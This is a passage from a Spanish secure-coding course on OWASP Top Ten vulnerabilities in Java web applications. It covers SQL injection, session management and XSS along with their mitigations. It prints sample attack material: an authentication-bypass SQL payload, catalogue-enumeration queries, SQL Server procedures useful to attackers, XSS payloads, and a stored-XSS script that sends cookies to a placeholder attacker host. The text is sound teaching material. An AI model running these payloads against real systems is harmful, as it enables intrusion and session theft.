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 INTRODUCCIÓN 
 
 Java es uno de los lenguajes de programación más utilizados a nivel empresarial a la hora de desarrollar aplicaciones de gestión con buenos niveles de escalabilidad y disponibilidad. Requiere programadores con sólidos conocimientos en programación orientada a objetos y arquitectura de software. En este curso se enseñan los principales criterios y buenas prácticas desde el punto de vista de la seguridad a la hora de crear aplicaciones web con Java. 
 
 
 OBJETIVOS DEL LIBRO 
 


 
	 Dar a conocer los principales criterios y buenas prácticas para crear aplicaciones web de forma segura en Java. 
 
	 Comentar los aspectos de seguridad en las diferentes etapas del desarrollo de aplicaciones web en Java, alineadas a las buenas prácticas propuestas por OWASP. 
 
	 Diseñar y desarrollar aplicaciones en entornos web, utilizando la especificación Java Enterprise Edition (J2EE), mediante el uso de librerías y herramientas que podemos encontrar dentro del ecosistema de Java. 
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VULNERABILIDADES EN APLICACIONES WEB DEL PROYECTO OWASP “TOP TEN” EN JAVA


 
 INTRODUCCIÓN 
 


 OWASP es una comunidad abierta dedicada a facilitar que las organizaciones puedan desarrollar, adquirir, operar y mantener aplicaciones en las que se pueda confiar. El Top Ten de OWASP representa un amplio consenso sobre cuáles son los fallos más críticos de la seguridad de aplicaciones web. 
 
 El origen de las vulnerabilidades puede estar en cualquier componente involucrado en el sistema de producción de una aplicación web, como servidores, seguridad de redes y conexiones, accesos a sistemas relacionados, etc. Sin embargo, muchas de ellas pueden prevenirse escribiendo código fuente seguro y protegido contra amenazas potenciales. 
 
 
 OBJETIVOS DE LA UNIDAD DIDÁCTICA 
 


 
	 Analizar la importancia de la seguridad en aplicaciones de comercio electrónico. 
 
	 Dar a conocer el proyecto OWASP (Open Web Application Security Project) y en particular el top ten de vulnerabilidades que podemos encontrar en aplicaciones web. 
 
	 Dar a conocer las principales vulnerabilidades en el contexto de una aplicación en Java y ofrecer soluciones para mitigarlas. 
 
 
 
 1.1 INYECCIÓN 
 



 
 1.1.1 Introducción 

 Los defectos de inyección, como los de inyección de SQL, sistema operativo y LDAP, se producen cuando se mandan datos no confiables a un intérprete como parte de un comando o una consulta. Los datos que envía el atacante pueden engañar a la aplicación para ejecutar comandos no intencionados o acceso a los datos sin la debida autorización. 
 
 
 1.1.2 Inyección SQL 

 Un ataque de Inyección SQL consiste en la inserción de código SQL por medio de los datos de entrada desde la parte del cliente hacia la aplicación. Es decir, por medio de la inserción de este código el atacante puede modificar las consultar originales que debe realizar la aplicación y ejecutar otras totalmente distintas con la intención de acceder a la herramienta, obtener información de alguna de las tablas o borrar los datos almacenados. 
 
 Como consecuencias de estos ataques y dependiendo de los privilegios que tenga el usuario de la base de datos bajo el que se ejecutan las consultas, se podría acceder no solo a las tablas relacionadas con la aplicación, sino también a otras tablas pertenecientes a otras bases de datos alojadas en ese mismo servidor. 
 
 Entre los principales problemas que pueden causar los ataques de Inyección SQL podemos destacar: 
  
	 Confidencialidad. De forma habitual, las bases de datos almacenan información sensible, por lo que la pérdida de confiabilidad es un problema muy frecuente en aquellos sitios que son vulnerables a este tipo de ataques. 
 
	 Autenticación. Si el sistema de login que se utiliza para acceder a una zona restringida de una web es débil, por medio de este tipo de ataques se podría acceder sin la necesidad de conocer ni el usuario ni la contraseña. 
 
	 Integridad. Al igual que un ataque por inyección SQL permite leer información relevante almacenada en la base de datos, también es posible realizar cambios o incluso borrar toda información mediante este tipo de vulnerabilidad. 
 
 
 Hablamos de pruebas de Inyección SQL cuando intentamos inyectar una determinada consulta SQL directamente en la Base de Datos, sin que la aplicación haga una validación adecuada de los datos. 
 
 Un ejemplo clásico de la inyección SQL consiste en pasar la entrada de un usuario directamente al intérprete, sin validarla a través de consultas generadas dinámicamente. El siguiente ejemplo muestra código vulnerable a la Inyección SQL: 
 
 
 
  String consulta = “SELECT id_usuario FROM datos_usuario WHERE 
nombre_usuario = ‘” + req.getParameter(“usuario”) + “’ and 
password_usuario = ‘” + req.getParameter(“password”) +”’”; 
 
 
 
 Código Java Vulnerable al Ataque de “Inyección SQL” 
 
 Si no se validan correctamente los parámetros “usuario” y “password”, el usuario podría registrarse con la expresión ‘) OR ‘1’=’1’ como nombre de usuario y contraseña. En este caso se le permitirá siempre el acceso ya que la segunda condición de esta expresión es siempre cierta. 
 
 
 1.1.3 Precedencia de operadores 

 El operador AND (Y) toma precedencia sobre el operador OR (o), y la operación AND solo es VERDADERO si ambos valores son VERDADERO. En este caso, ambos valores son FALSO, por lo que terminamos con la siguiente operación: 
 
 El operador OR es VERDADERO si cualquiera de los dos operandos es VERDADERO, así que en este caso el resultado de todas las operaciones condicionales es un simple VERDADERO para cada registro, haciendo que esto actúe como una petición select sin una condición. Y una operación select sin una condición nos devolvería todos los registros de la tabla. 
 
 
 1.1.4 Particularidades de los backends 

 Entre las bases de datos susceptibles a este tipo de ataques nos encontramos MySQL, Oracle, Postgres o MS SQL. 
 
 Este punto detalla algunos de los objetivos más interesantes a la hora de realizar un ataque contra algunas de las bases de datos más populares. Se trata de conocer las principales tablas a las que intentar extraer información acerca de los permisos de los que dispone el usuario con el que está interactuando el aplicativo con la base de datos, las principales tablas de las que extraer información interesante y cómo conocer la estructura y el contenido de la misma. 
 
 1.1.4.1 MYSQL 
 
 Algunas de las funciones de MySQL más interesantes son: 
  
	 version(): Muestra la versión de la base de datos. 
 
	 database(): El nombre de la base de datos a la que se está conectado. 
 
	 user(), system_user(), session_user(), current_user(): Nombres de distintos usuarios. 
 
	 last_insert_id(): Devuelve el identificador de la última inserción. 
 
	 connection_id(): Devuelve el identificador de la conexión actual. 
 
 
 En cuanto a las tablas, lo mejor es consultar los manuales más actualizados, ya que los catálogos cambian con cierta frecuencia. Esta información se puede encontrar en: 
 
 http://dev.mysql.com/doc/refman/4.1/en/ 
 
 http://dev.mysql.com/doc/refman/5.0/en/ 
 
 En la versión 5, las tablas más interesantes que se encuentran en el catálogo o esquema de base de datos son: 
  
	 Tables: información acerca de las tablas almacenadas. 
 
	 Columns: los campos que componen las tablas. 
 
	 Views: vistas disponibles. 
 
	 User_privileges: permisos de los que disponen los usuarios. 
 
	 Routines: almacena procedimientos y funciones. 
 
 
 Con la siguiente consulta se obtienen todas las tablas del catálogo: 
 
 
 
  SELECT table_schema,table_name FROM information_schema.tables WHERE table_schema != ‘mysql’ AND table_schema != ‘information_schema’ 
 
 
 
 En el siguiente enlace se pueden ver todas las consultas que se pueden realizar relacionadas con MySQL: 
 
 http://pentestmonkey.net/cheat-sheet/sql-injection/mysql-sql-injectioncheat-sheet 
 
 1.1.4.2 ORACLE Y DB2 
 
 Oracle tiene una tabla llamada “dual” que permite realizar cualquier tipo de consulta contra ella, aunque no tiene ningún contenido. Se trata de una tabla “comodín” que se utiliza para realizar consultas sobre variables de entornos o hacer pruebas respecto a la estructura de la consulta sobre la que se realiza la inyección. 
 
 En cuanto a información técnica sobre la base de datos, se puede obtener la versión de la misma mediante cualquiera de las siguientes consultas: 
 
 
 
  SELECT version from instance; 
 
 
 
  SELECT banner from v$version; 
 
 
 
 En cuanto a la estructura de la base de datos, se pueden obtener las tablas mediante una consulta a la tabla “all_tables”. Para consultar las tablas a las que tiene acceso el usuario, se puede añadir la condición “where owner=user”. El nombre de las mismas se encuentra en la columna “table_name”. 
 
 Con las siguientes consultas se obtienen todas las tablas del catálogo: 
 
 
 
  SELECT table_name FROM all_tables; 
 
 
 
  SELECT owner, table_name FROM all_tables; 
 
 
 
 En el siguiente enlace se pueden ver todas las consultas que se pueden realizar relacionadas con Oracle: 
 
 http://pentestmonkey.net/cheat-sheet/sql-injection/oracle-sql-injectioncheat-sheet 
 
 Base de datos DB2 
 
 Se trata de una de las bases de datos más veteranas, aunque tal vez es de las menos comunes en entornos de aplicaciones web. Normalmente se encuentra en entornos de mainframe en los que no hay un acceso desde el exterior. Aun así, en ocasiones es posible encontrarla en dichos entornos y realizar ataques de inyección SQL. A continuación, se muestran algunas de las tablas más interesantes para consultar en un ataque de este estilo: 
  
	 sysibm.sysdummy1: Esta tabla se utiliza como comodín para realizar consultas, es equivalente a la tabla “dual” en Oracle. 
 
	 sysibm.systables: Nos da información sobre las tablas que contiene la base de datos. 
 
	 sysibm.views: Información respecto a vistas. 
 
	 sysibm.columns / sysibm.syscolumns: Campos de las tablas. 
 
	 sysibm.usernames: Información de usuarios para conexiones externas. 
 
	 sysibm.sysversions: Contiene la versión de la base de datos. 
 
 
 En cuanto a los usuarios, DB2 siempre utiliza un sistema externo para la autenticación, por lo que no encontraremos información respecto de los mismos en las tablas de catálogo. 
 
 Con la siguiente consulta se obtienen todas las tablas del catálogo: 
 
 
 
  SELECT name from sysibm.systables; 
 
 
 
 En el siguiente enlace se pueden ver todas las consultas que se pueden realizar relacionadas con DB2: 
 
 http://pentestmonkey.net/cheat-sheet/sql-injection/db2-sql-injection-cheatsheet 
 
 1.1.4.3 POSTGRESQL 
 
 Las siguientes consultas permiten obtener el usuario que esté logueado: 
 
 
 
  SELECT user
 SELECT current_user
 SELECT session_user
 SELECT usename FROM pg_user
 SELECT getpgusername()
 
 
 
 En cuanto a información técnica sobre la base de datos, se puede obtener la versión y el nombre de la base de datos actual mediante las siguientes consultas: 
 
 
 
  SELECT version()
 SELECT current_database()
 
 
 
 Con la siguiente consulta se obtienen todas las tablas del catálogo: 
 
 
 
  SELECT c.relname FROM pg_catalog.pg_class c LEFT JOIN pg_catalog.pg_namespace n ON n.oid = c.relnamespace WHERE c.relkind IN (‘r’,”) AND n.nspname NOT IN (‘pg_catalog’, ‘pg_toast’) AND pg_catalog.pg_table_is_visible(c.oid) 
 
 
 
 En el siguiente enlace se pueden ver todas las consultas que se pueden realizar relacionadas con PostgresSQL. 
 
 http://pentestmonkey.net/cheat-sheet/sql-injection/postgres-sql-injectioncheat-sheet 
 
 1.1.4.4 SQL SERVER 
 
 Las tablas más importantes de las que se puede obtener información del sistema se encuentran dentro de la base de datos máster. Algunas interesantes son: 
  
	 sysobjects: Contiene información acerca de todos los objetos dados de alta por el catálogo, donde se encuentran los nombres de tablas, vistas, procedimientos almacenados, etc. 
 
	 syscolumns: Contiene la lista de las columnas de todas las tablas. 
 
	 sysusers: Información acerca de los usuarios que tiene el sistema, incluyendo el hash de la contraseña de acceso. En caso de conseguir el acceso, sería posible descargar dicho hash para intentar ataques de fuerza bruta con los que obtener la contraseña en claro. 
 
	 sysdatabases: Contiene información acerca de otras bases de datos que se encuentran en el catálogo, de modo que se puede ampliar el ataque a las mismas. 
 
 
 Finalmente, un punto especialmente interesante en cuanto a esta base de datos son los procedimientos que ofrece para la interacción directa con el sistema operativo. A continuación, se listan algunas de las funciones más interesantes desde el punto de vista del atacante. 
  
	 xp_cmdshell: Ejecuta un comando directamente contra el sistema operativo. 
 
	 sp_makewebtask: Crea un fichero html que contiene el resultado de una consulta, lo cual es especialmente recomendable para el envío posterior de la salida de la misma, o publicarlo directamente en caso de ser posible por la infraestructura de la base de datos. 
 
	 sp_addextendedproc: Crea un stored procedure. Útil para la creación de backdoors o para intentar escalar privilegios en la base de datos sobre la que se gana acceso, así como para realizar tareas automáticas. 
 
	 xp_dirtree: Lista todas las subcarpetas de un directorio. Indicado para conocer la estructura de la máquina que hospeda la base de datos. 
 
	 xp_fixeddrives: Lista las unidades de disco. 
 
	 xp_servicecontrol: Permite arrancar y parar servicios. Muy útil para, por ejemplo, arrancar un servicio de “ftp” con el que interactuar con la máquina. 
 
 
 Con la siguiente consulta se obtienen todas las tablas del catálogo: 
 
 
 
  SELECT name from sysibm.systables; 
 
 
 
 En el siguiente enlace se pueden ver todas las consultas que se pueden realizar relacionadas con SQL Server: 
 
 http://pentestmonkey.net/cheat-sheet/sql-injection/mssql-sql-injectioncheat-sheet 
 
 1.1.4.5 USO DE CHEATSHEETS 
 
 Es aconsejable consultar las “Cheat Sheets” de OWASP, como guías de referencia para garantizar la seguridad de las aplicaciones. 
 
 El Cheat Sheet almacenamiento de contraseñas comenta cómo se deben almacenar las contraseñas de forma segura a efectos de autenticación de un usuario. 
 
 https://www.owasp.org/index.php/Password_Storage_Cheat_Sheet 
 
 El Cheat Sheet prevención de XSS comenta cómo prevenir esta vulnerabilidad desde el punto de vista del desarrollador. 
 
 https://www.owasp.org/index.php/XSS_(Cross_Site_Scripting)_Prevention_ Cheat_Sheet 
 
 El Cheat Sheet olvido de contraseña es una guía que ayuda a los desarrolladores a crear la funcionalidad de recuperar la contraseña de forma segura. 
 
 https://www.owasp.org/index.php/Forgot_Password_Cheat_Sheet 
 
 El Cheat Sheet gestión de la sesión es una guía donde se describen las consideraciones de seguridad necesarias cuando se utilizan mecanismos de gestión de sesión en aplicaciones web. 
 
 https://www.owasp.org/index.php/Session_Management_Cheat_Sheet 
 
 El Cheat Sheet sql inyection comenta cómo prevenir esta vulnerabilidad desde el punto de vista del desarrollador. 
 
 http://www.owasp.org/index.php/SQL_Injection_Prevention_Cheat_Sheet 
 
 El Cheat Sheet de autenticación es una guía donde se describen las consideraciones de seguridad necesarias cuando se utilizan mecanismos inicio de sesión y de autenticación en aplicaciones web. 
 
 https://www.owasp.org/index.php/Authentication_Cheat_Sheet 
 
 El Cheat Sheet de parametrización de consultas es una guía donde se describen las consideraciones de seguridad necesarias para crear aplicaciones resistentes a una inyección SQL. 
 
 https://www.owasp.org/index.php/Query_Parameterization_Cheat_Sheet 
 
 
 1.1.5 Contramedidas generales 

 Las contramedidas en este punto van destinadas a verificar que el código no es vulnerable a una inyección SQL. Para ello a nivel de código es recomendable seguir las siguientes recomendaciones: 
  
	 Emplear consultas parametrizadas (Prepared statements): consiste en separar la compilación de la consulta de su ejecución con los parámetros indicados. Son sentencias precompiladas, en las cuáles se indica qué parámetros serán ingresados por el usuario. De esta forma podemos indicarle al DBMS cuál es el código a ejecutar y cuáles serán las variables. Esto permite que el motor distinga la sentencia a ejecutar de los datos de entrada y así evitar que el usuario agregue sentencias SQL. Cuando se construye la sentencia sql, el motor de BD analiza, compila y optimiza la forma en que se va a ejecutar, de forma que, si la construimos una vez y la ejecutamos n veces, el tiempo de ejecución puede disminuir considerablemente. 
 
 
 
 Por ejemplo, un código SQL inyectado que no conforme un dato del tipo esperado (cadena, entero, real, fecha) provocará un fallo/excepción. 
 
 Para hacer una consulta con un PreparedStatement lo primero que se hace es indicar la estructura de la consulta dejando los parámetros marcados con una interrogación “?” y posteriormente se irá indicando que son cada una de esas interrogaciones y su tipo de dato. Como podemos ver la consulta se construye de otra forma utilizando el carácter de interrogación “?” para definir la posición de cada uno de los parámetros. 
 
 
 
 
  PreparedStatement stmt =connection.prepareStatement(“SELECT * FROM users “+”WHERE USERNAME = ? AND PASSWD = ?”); 
 
 
 
  stmt.setString(1, username);
 stmt.setString(2, passwd);
 ResultSet results = stmt.executeQuery();
 
 
  
	 Emplear procedimientos almacenados ya que generalmente nos les afectan las inyecciones SQL. Si se diseñan de forma adecuada, no hay posibilidad de generar dinámicamente consultas SQL maliciosas. 
 
	 Emplear frameworks del tipo ORM (Object Relational Mapping). En Java encontramos herramientas como Hibernate y JPA (Java Persistence API). Suelen ofrecer su propio lenguaje de consultas y por defecto hacen uso por defecto de consultas parametrizadas. 
 
	 Escapar los datos introducidos por el usuario: La idea es que cada vez que el usuario ingrese datos que se utilizarán en una sentencia, se escapen los caracteres especiales (comillas simples, dobles, barras invertidas) para que el dato sea un solo string y el motor de BD no la confunda por el código a ejecutar. 
 
	 Escapar los caracteres especiales utilizados en las consultas SQL: Al hablar de “escapar caracteres” estamos haciendo referencia a añadir la barra invertida “\” delante de las cadenas utilizadas en las consultas SQL para evitar que estas corrompan la consulta. Algunos de estos caracteres especiales que es aconsejable escapar son las comillas dobles (“), las comillas simples (‘) o los caracteres \x00 o \x1a ya que son considerados como peligrosos pues pueden ser utilizados durante los ataques. 
 
	 Asignar mínimos privilegios al usuario que conectará con la base de datos: El usuario que utilicemos para conectarnos a la base de datos desde nuestro código debe tener los privilegios justos para realizar las acciones que necesitemos. No utilizar nunca un usuario root ya que de esta forma estaremos dando facilidades a un posible atacante. 
 
 
 
 1.2 PÉRDIDA DE AUTENTICACIÓN Y GESTIÓN DE SESIONES 
 



 
 1.2.1 Introducción 

 Las funcionalidades relacionadas con la autenticación y gestión de sesiones de los usuarios son frecuentemente implementadas de forma incorrecta, permitiendo a los atacantes comprometer contraseñas, llaves, token de sesiones, o explotar otros fallos de implementación para suplantar la identidad de otros usuarios. 
 
 
 1.2.2 Pérdida de autenticación y gestión de sesiones 

 Las vulnerabilidades relacionadas con la pérdida de autenticación y gestión de sesiones son críticas en la seguridad de las aplicaciones web ya que permiten a un atacante suplantar la información de un determinado usuario, pudiendo llegar a obtener una cuenta de administración que le permita sabotear los controles de autorización y registro de la aplicación. Esta situación podría ocasionar un acceso no autorizado a cualquier tipo de información que se encuentre almacenada en el servidor o los servicios que han sido comprometidos. 
 
 Defectos en los mecanismos de autenticación 
  
	 Difícil construir mecanismos de autenticación robustos y fiables. 
 
	 Deficiencias en gestión de contraseñas, mecanismos de recuperación de contraseñas, preguntas secretas, ... 
 
	 Uso de identificadores de usuario y/o sesión en las URL manejadas, etc 
 
	 Parámetros de autenticación de usuarios y sesiones fáciles de adivinar. 
 
	 Defectos en la regeneración de credenciales de acceso. 
 
 
 Defectos en la gestión de sesiones 
  
	 Ausencia o deficiencias en el mecanismo de logout. 
 
	 Ausencia de timeouts o tiempo de vida de sesiones excesivo. 
 
	 Cookies de sesión predecibles o en claro facilita el “robo de sesiones”. 
 
 
 
 1.2.3 Escenarios de exposición 

 Existen multitud de situaciones en las que nos podemos encontrar ante una aplicación vulnerable a este tipo de ataque, pero la mayor parte de las veces se encuentran en la gestión de las contraseñas, la expiración de sesiones o el proceso de cierre de sesión. Además, debe prestarse especial atención a los procesos que permiten la recuperación de los valores del usuario de forma automática como pueden ser los servicios de pregunta secreta, de actualización de cuenta o de “Recordar contraseña”. 
 
 Entre los principales escenarios de exposición podemos destacar: 
  
	 Credenciales fáciles de adivinar por medio de contraseñas débiles de administración. 
 
	 Creación de cuentas, cambio de contraseñas, identificadores de sesión predecibles fáciles de adivinar. 
 
	 IDs de sesión expuestos en la URL (URL rewriting). 
 
	 IDs de sesión vulnerables a ataques de fijación de sesión (session fixation). 
 
	 Control el tiempo de expiración de sesiones. 
 
 
 1.2.3.1 SESIONES ALMACENADAS EN LOCAL 
 
 Desde el punto de vista del usuario es recomendable seguir un conjunto de buenas prácticas para almacenar la sesión del mismo cuando se autentica en una aplicación: 
  
	 Usar los métodos de sesión que nos proporciona el servidor de aplicaciones que estemos usando. En este caso no estamos refiriendo a la sesión y a las cookies. 
 
	 Asegurar que la operación de cierre de sesión realmente destruye dicha sesión. También fijar el periodo de expiración de la sesión (periodo de tiempo en el que no se realice ninguna acción bajo dicha sesión); por ejemplo, para aplicaciones críticas de 2 a 5 minutos, mientras que para otras aplicaciones más comunes se podría usar de 15 a 30 minutos. 
 
	 En el descriptor de despliegue podemos fijar la caducidad de la sesión en minutos. 
 
 
 
 
  <session-config>
    <session-timeout>15</session-timeout>
 </session-config>
 
 
  
	 Para cerrar la sesión lo más correcto sería destruir la sesión, de esta manera nuestra sesión dejará de existir a todos los efectos. Para ello usaremos la siguiente sentencia, cuya función es destruir la sesión. La podríamos usar por ejemplo en un Servlet encargado del cierre de sesión. 
 
 
 
 
  request.getSession().invalidate(); 
 
 
  
	 Para evitar el robo de sesión mediante código Java o podríamos realizar las siguientes comprobaciones. En primer lugar, habrá que comprobar si los datos de usuario son correctos y posteriormente se podría hacer algo como añadir algún parámetro a la sesión indicando que el usuario está autenticado, añadiendo posteriormente a la sesión el identificador del usuario. 
 
 
 
 
  if (password.equals(user.getPass()) == true) {
 //Se añade a la sesión un boolean indicando que está autentificado
 request.getSession().setAttribute(“auth”, true);
 //Se añade a la sesión el identificador del usuario
 request.getSession().setAttribute(“usuario”, user.getMail());
 }
 
 
 
 1.2.3.2 MALA GESTIÓN DE LA AUTENTICACIÓN 
 
 La autenticación insuficiente ocurre cuando un sitio web permite a un atacante acceder a contenido o funcionalidad sensible sin tener que autenticarse correctamente. Las herramientas de administración basadas en web son un buen ejemplo de sitios web que proporcionan acceso a funcionalidades sensibles. Dependiendo de los recursos específicos online, estas aplicaciones web no deberían ser directamente accesibles sin requerir de la forma apropiada la verificación de la identidad del usuario. 
 
 En el ámbito de la configuración de la autenticación, algunos recursos son protegidos “ocultando” la ubicación específica y no enlazando su ubicación en el sitio web principal u otras zonas públicas. Sin embargo, esta actuación no es más que “seguridad a través de oscuridad”. Es importante entender que simplemente porque un recurso es desconocido en un principio para un atacante, no implica que este recurso no permanezca accesible directamente a través de una URL específica. Esta URL puede ser descubierta a través de pruebas de fuerza bruta sobre ubicaciones comunes de ficheros y directorios, mensajes de error, logs o quizás recursos documentados en ficheros de ayuda. Estos recursos, ya sean contenidos o funcionalidades, deben ser adecuadamente protegidos. 
 
 Muchas aplicaciones web han sido diseñadas con funcionalidades administrativas en una ubicación fuera del directorio raíz (/admin/). Este directorio generalmente nunca es enlazado desde el sitio web, pero aún así puede ser accedido utilizando un navegador web estándar. 
 
 Ya que el usuario o desarrollador nunca esperó que alguien pudiera ver esta página, el añadido de autenticación es pasado por alto en muchas ocasiones. Si un atacante simplemente visitara esta página, obtendría acceso completo de administración al sitio web. 
 
 
 1.2.4 Contramedidas generales 

 Las contramedidas en este punto van destinadas a verificar el correcto uso de las sesiones y autenticación en Java. Para ello a nivel de código es recomendable seguir las siguientes recomendaciones: 
  
	 No enviar información sensible en la URL como el sesion id o cualquier id que pueda identificar al usuario. 
 
	 Utilizar el protocolo HTTPS para que la comunicación sea cifrada incluyendo la cookie de sesión. Para las cookies de sesión activar la opción secure que evita que el navegador pueda enviar la cookie por HTTP y, por tanto, sea posible obtenerla interceptando el tráfico. 
 
	 Asociar el identificador con información del usuario única, como su dirección IP: en el código fuente de la página se puede obtener mediante el método RemoteAddr, la dirección IP del usuario, para almacenarla a continuación en la sesión y controlar que no ha cambiado en cada nueva petición web. 
 
	 Invalidar los identificadores de sesión: Ante un cierre de sesión, el cumplimiento del timeout de sesión o el vencimiento del tiempo máximo de validez de sesión se ha de invalidar el identificador de sesión en uso. 
 
	 No reutilizar los identificadores de sesión: De nada sirve invalidar el identificador de sesión si el algoritmo de generación del identificador genera el mismo identificador para el mismo usuario. 
 
	 Prevenir la fijación de sesión: Renovar el identificador, al autenticarse el usuario, o asignarlo únicamente después de la autenticación: tampoco existe un método, para renovar el identificador, por lo que se debe finalizar la sesión actual y crear una nueva en el código fuente de la página web. En Java, antes de crear una nueva sesión se recomienda como paso previo invalidarla llamando al método invalidate(): 

 
 
 
 
  session.invalidate(); 
 
 
 
  session=request.getSession(true); 
 
 
  
	 Establecer un timeout de sesión: De esta forma, ante cierto tiempo de inactividad del usuario, se cierra la sesión y por tanto se invalida en el servidor el identificador de sesión. Mediante esta medida se minimiza la ventana de tiempo en el que un atacante puede acceder al equipo y reutilizar el identificador de sesión si el usuario no hubiera cerrado sesión. En proyectos de Java se estable en la opción session-timeout del fichero web.xml: 
 
 
 
 
  <session-config> 
 
 
 
  <session-timeout>15</session-timeout> 
 
 
 
  <session-config> 
 
 
  
	 Establecer un tiempo máximo de validez de sesión: Aparte de un tiempo máximo de inactividad, es conveniente establecer un tiempo máximo de validez de sesión, también llamado de expiración de sesión, para que en caso de verse comprometido el identificador, este no pueda ser utilizado durante más tiempo del que dicta el tiempo máximo de validez de sesión. 
 
	 Utilizar cookies no persistentes: En la medida de lo posible es mejor utilizar cookies no persistentes (aquellas que no tienen definidas el atributo Max-Age o Expires). Estas cookies son eliminadas al cerrar el navegador, por lo que un atacante, independientemente de que no haya vencido el timeout o el tiempo de validez de sesión en el servidor, no podrá acceder al identificador. 
 
 
 
 1.3 SECUENCIAS DE COMANDOS EN SITIOS CRUZADOS (XSS) 
 



 
 1.3.1 Introducción 

 Esta vulnerabilidad se produce cuando una aplicación toma datos no confiables y los envía a un navegador web sin realizar la validación apropiada. XSS permite a los atacantes ejecutar scripts en el navegador de la víctima, lo que puede dar lugar a robo de sesiones, modificar sitios web o redirigir al usuario a sitios maliciosos. Se aprovecha de la falta de validación para ejecutar código javascript malicioso en el cliente. 
 
 Los errores de XSS ocurren cada vez que las aplicaciones utilizan los datos introducidos por el usuario y los envían al navegador web sin validarlas o codificarlas primero. XSS permite que el atacante ejecute un script en el navegador de la víctima, el cual puede obtener las cookies del usuario o inyectar código en la página para obtener credenciales. 
 
 
 1.3.2 Definición de script 

 Ejecución de código script arbitrario “incrustado” por un tercero en campos de datos que son enviados desde el servidor WEB al navegador de la víctima. 
 
 Se incluirán datos que serán interpretados como código legítimo por el navegador de la víctima y que modificarán el comportamiento o aspecto de la página. 
 
 Etiquetas ”problemáticas”: <script> ... </script> 
 
 Introducidas en algún campo de formulario, en parámetros de la URL o en un parámetro de una petición HTTP: 
 
 
 
  <script> alert(“Esto es vulnerable a XSS”) </script> 
 
 
 
 
 1.3.3 Definición de ataque XSS 

 Es un ataque de inyección de código malicioso para su posterior ejecución, que puede realizarse a sitios web, aplicaciones locales e incluso al propio navegador. Sucede cuando un usuario malintencionado envía código malicioso a la aplicación web y se coloca en forma de un hipervínculo para conducir al usuario a otro sitio web o un correo electrónico. 
 
 XSS permite a los atacantes ejecutar scripts en el navegador de la víctima, lo que puede dar lugar a robo de sesiones, modificar sitios web o redirigir al usuario a sitios maliciosos. 
 
 Cross site scripting supone un ataque a la privacidad de los clientes de un determinado website, pudiendo llegar a un compromiso total de la seguridad cuando se roban detalles acerca de un cliente. El ataque XSS involucra a las tres partes – el atacante, un cliente y la web. El objetivo del ataque podrá ser robar las cookies del usuario, o cualquier otra información sensible, que pueda autenticar al cliente en el site. 
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 Figura 1.1. Flujo ataque XSS 
 
 Una página es vulnerable a XSS cuando lo que nosotros enviamos al servidor (un comentario, un cambio en un perfil, una búsqueda, etc.) se ve posteriormente en la página de respuesta. 
 
 Comúnmente, los ataques XSS implican el uso de código JavaScript, pero también pueden incluir cualquier tipo de contenido activo ejecutable. Aunque los tipos de ataques varían en sofisticación, existe un método generalmente fiable para detectar vulnerabilidades XSS. 
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 Figura 1.2. Ejemplo de ataque XSS en formulario 
 
 Peligros de un ataque XSS 
  
	 Obtener de sesión y cookies del usuario 
 
	 Redirigir a una página alternativa con fines maliciosos. 
 
	 Presentar contenido falso (phishing) para que obtener información privada del usuario. 
 
 
 El principal problema está en que normalmente no se validan correctamente los datos de entrada que son usados en cierta aplicación. Esta vulnerabilidad puede estar presente de forma directa (foros, mensajes de error, comentarios) o indirecta (redirecciones,framesets). 
 
 Directa: Funciona localizando puntos débiles en la programación de los filtros. Así que si, por ejemplo, logran filtrar los <iframe>, <script>, el atacante siempre puede poner un <div> malicioso y jugar con estilos para ejecutar el código javascript. 
 
 
 
  <DIV STYLE=”background-image: url(javascript:alert(‘XSS’))”> 
 
 
 
 Indirecta: Tiene lugar cuando hay un mensaje o una ruta en la URL del navegador o en una cookie. Para saber el contenido de una cookie, puedes usar el siguiente script. Para ejecutarlo basta colocarlo en la barra de direcciones del navegador. 
 
 
 
  javascript:for(var g in document.cookie.split(‘;’))void(prompt(“Valor de cookie 
 
 
 
  “+document.cookie.split(‘;’)[g].split(‘=’)[0],document.cookie.split(‘;’) 
 
 
 
  [g].split(‘=’)[1]));alert(“Cookies:n”+document.cookie.replace(/;/,”rn”)); 
 
 
 
 
 1.3.4 Tipos de ataques XSS 

 Existen tres tipos de ataques XSS: 
 
 Reflejado (Reflected) 
 
 La vulnerabilidad Reflected Cross-Site Scripting se produce cuando los datos proporcionados por un cliente web son utilizados de forma inmediata por los scripts del lado servidor para generar una página de resultados para ese usuario. 
 
 En este caso será el propio usuario el que tendrá que ejecutar una URL maliciosa. Los datos de la URL maliciosa son enviados al servidor y son reflejados de vuelta en la respuesta mostrada en el cliente. 
 
 Se origina cuando la víctima carga una URL del tipo: 
 
 http://dominiovulnerablexss.com/pagina?xss=<script>alert(‘XSS’)</ script> 
 
 Si los datos no validados, que son proporcionados por el usuario, se incluyen en la página resultante sin codificación HTML, esto permitirá al código del lado cliente ser insertado en la página de forma dinámica. Un ejemplo clásico lo podemos encontrar en los motores de búsqueda: si uno busca una cadena que incluya algún carácter HTML especial, a menudo la cadena de búsqueda se volverá a mostrar entre los resultados para indicar qué es lo que se buscaba. Si ninguna de las ocurrencias de los términos de búsqueda están codificados, estaremos ante un caso de XSS. 
 
 Almacenado (Stored XSS) 
 
 En este caso el problema que tenemos es que el contenido se envía y sin realizar validaciones se almacena en el servidor de forma persistente, por ejemplo, a través de un formulario que no se haya validado correctamente. 
 
 Se produce cuando un atacante consigue inyectar código malicioso en una web que es vulnerable. El código inyectado queda “almacenado” en la base de datos de una web (formularios) y cuando los usuarios visitan esa web el código se ejecuta. 
 
 El atacante intentará enviar información a nuestro servidor por medio de nuestros formularios con la intención de que dicha información sea almacenada en nuestra base de datos y posteriormente sea mostrada a los demás usuarios del sistema. 
 
 Muchos sitios web hospedan boletines de noticias donde usuarios registrados pueden publicar mensajes. A un usuario registrado se le asigna una cookie de ID de sesión autorizándole para publicar mensajes. Un atacante podría recuperar la cookie del usuario logueado publicando un mensaje conteniendo un javascript hábilmente construido. 
 
 
 
  <SCRIPT> 
 
 
 
  document.location= 
 
 
 
  ‘http://attackerhost.example/cgi-bin/cookiesteal.cgi?’+document.cookie 
 
 
 
  </SCRIPT> 
 
 
 
 Fragmento de código de robo de cookie 
 
 Basado en el DOM (DOM Based XSS) 
 
 Donde el código JavaScript accede a un parámetro de una petición URL y utiliza esta información para escribir HTML en la propia página, y si esta información no se codifica utilizando entidades HTML, es probable que nos encontremos ante una vulnerabilidad XSS. 
 
